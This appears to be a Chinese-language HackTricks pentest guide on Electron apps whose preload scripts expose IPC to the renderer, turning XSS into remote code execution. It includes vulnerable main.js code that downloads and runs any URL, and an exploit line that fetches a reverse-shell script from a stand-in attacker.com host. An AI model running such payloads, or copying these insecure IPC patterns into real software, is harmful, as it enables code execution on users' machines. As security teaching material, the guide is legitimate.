# Electron contextIsolation RCE via IPC

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如果preload脚本从main.js文件暴露了IPC端点，则渲染器进程将能够访问它，如果存在漏洞，则可能发生RCE。

**这些示例大多来自于** [**https://www.youtube.com/watch?v=xILfQGkLXQo**](https://www.youtube.com/watch?v=xILfQGkLXQo)。查看视频以获取更多信息。

## 示例 0

来自<https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21>的示例（您可以在这些幻灯片中找到有关如何从XSS到RCE滥用MS Teams的完整示例，这只是一个非常基本的示例）：

<figure><img src="/files/ahIDqxL1zImmVPyBeVEh" alt=""><figcaption></figcaption></figure>

## 示例 1

查看`main.js`如何监听`getUpdate`并将**下载并执行**传递的任何URL。\
还要检查`preload.js`如何**暴露**主要的任何IPC事件。

```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
```

```javascript
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```

漏洞利用:

```html
<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>
```

## 示例 2

如果预加载脚本直接向渲染器公开了调用 `shell.openExternal` 的方法，则可能导致远程命令执行。

```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};
```

## 例子 3

如果 preload 脚本暴露了与主进程完全通信的方式，XSS 将能够发送任何事件。这取决于主进程在 IPC 方面暴露了什么。

```javascript
window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
```

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


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